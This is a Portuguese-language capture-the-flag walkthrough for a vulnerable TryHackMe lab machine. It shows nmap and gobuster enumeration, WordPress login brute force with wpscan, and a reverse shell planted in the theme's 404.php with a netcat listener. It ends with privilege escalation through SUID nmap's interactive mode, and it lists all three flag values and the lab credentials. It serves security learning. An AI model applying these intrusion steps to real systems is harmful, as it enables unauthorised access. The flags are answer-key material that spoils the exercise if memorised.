Ambiente de Estudo
Este guia descreve o processo de exploração de uma máquina virtual vulnerável disponível no TryHackMe, projetada para ambientes de aprendizagem em segurança ofensiva. O desafio envolve a identificação de três chaves ocultas no sistema alvo. ### Configuração do Ambiente
**Endereço IP do Alvo**: 10.10.220.226 ### Enumeração de Portas
Iniciamos com uma varrdeura abrangente de portas utilizando o nmap: ``` nmap -sC -sV -Pn -p- -T4 10.10.220.226
**Resultados Observados**: - Porta 80 (HTTP) - Aberta
- Porta 443 (HTTPS) - Aberta
- Porta 22 (SSH) - Fechada
### Descoberta de Diretórios
Como o serviço web está ativo na porta 80, procedemos com a enumeração de diretórios utilizando o gobuster: ```
gobuster dir -u http://10.10.220.226/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Endpoints Identificados: - Página de login WordPress: http://10.10.220.226/wp-login.php
- Arquivo robots.txt: http://10.10.220.226/robots
Análise do Arquivo Robots.txt
O arquivo robots.txt frequentemente contém informações sensíveis em ambientes mal configurados. Ao acessar http://10.10.220.226/robots, descobrimos dois arquivos interessantes: - fsocity.dic - Um dicionário de palavras
- key-1-of-3.txt - Primeira chave do desafio
O conteúdo da primeira chave é: 073403c8a58a1f80d943455fb30724b9### Ataque de Força Bruta ao WordPress
O diretório de administração do WordPress está acessível em http://10.10.220.226/wp-login.php. Passo 1 - Enumeração de UsuárioUtilizamos o dicionário obtido (fsocity.dic) para identificar usernames válidos. Através do Burpsuite, interceptamos a requisição de login e aplicamos força bruta no parâmetro de username: ```
Preparação do dicionário
sort fsocity.dic | uniq > fsocity_sorted.dic
**Usuário válido identificado**: Elliot **Passo 2 - Quebra de Senha**Com o usuário confirmado, empregamos o wpscan para descobrir a senha: ```
wpscan --url http://10.10.220.226/wp-login.php --usernames Elliot --passwords /home/hekeats/fsocity_sorted.dic
Credenciais obtidas: - Usuário: Elliot
- Senha: ER28-0652
Obtenção de Shell Inverso
Acesso ao Painel AdminCom as credenciais válidas, acessamos o painel administraitvo do WordPress. Navegamos até Appearence → Editor e selecionamos o arquivo 404.php do tema twentyfifteen. Configuração do PayloadSubstituímos o conteúdo do arquivo 404.php pelo código de reverse shell, ajustando o IP do atacante e a porta de callback: ```
Configuração do listener
nc -lvnp 4444
Parâmetros:
-l: modo listen
-v: verbose
-n: resolução DNS desabilitada
-p: porta específica
**Execução do Exploit**Acessamos o arquivo modificado através de: http://10.10.220.226/wp-content/themes/twentyfifteen/404.php **Estabilização do Shell**```
python3 -c "import pty; pty.spawn('/bin/bash')"
Movimento Lateral
Dentro do shell, identificamos credenciais criptografadas do usuário robot: ```
Credencial encontrada
robot:c3fcd3d76192e4007dfb496cca67e13b
Utilizamos o CrackStation para descriptografar: ```
# Resultado da decrypt
robot:abcdefghijklmnopqrstuvwxyz
# Escalação de privilégios
su - robot
# Senha: abcdefghijklmnopqrstuvwxyz
Segunda chave obtida: 822c73956184f694993bede3eb39f959 ### Escalação de Privilégios
Identificação de Binários SUID``` find / -type f -perm -04000 -ls 2>/dev/null
O binário nmap possui permissões SUID. Verificamos a versão e exploramos utilizando o modo interativo: ```
nmap --interactive
nmap> !sh
Terceira chave obtida: 04787ddef27c3dee1ee161b21670b4e4 ### Resumo das Flags
- Flag 1: 073403c8a58a1f80d943455fb30724b9
- Flag 2: 822c73956184f694993bede3eb39f959
- Flag 3: 04787ddef27c3dee1ee161b21670b4e4
Conceitos Aplicados
- Reconhecimento de rede com nmap
- Enumeração de diretórios web
- Análise de arquivos de configuração expostos
- Ataques de força bruta em aplicações web
- Explatação de funcionalidades de upload/edição de temas
- Escalação de privilégios via binários SUID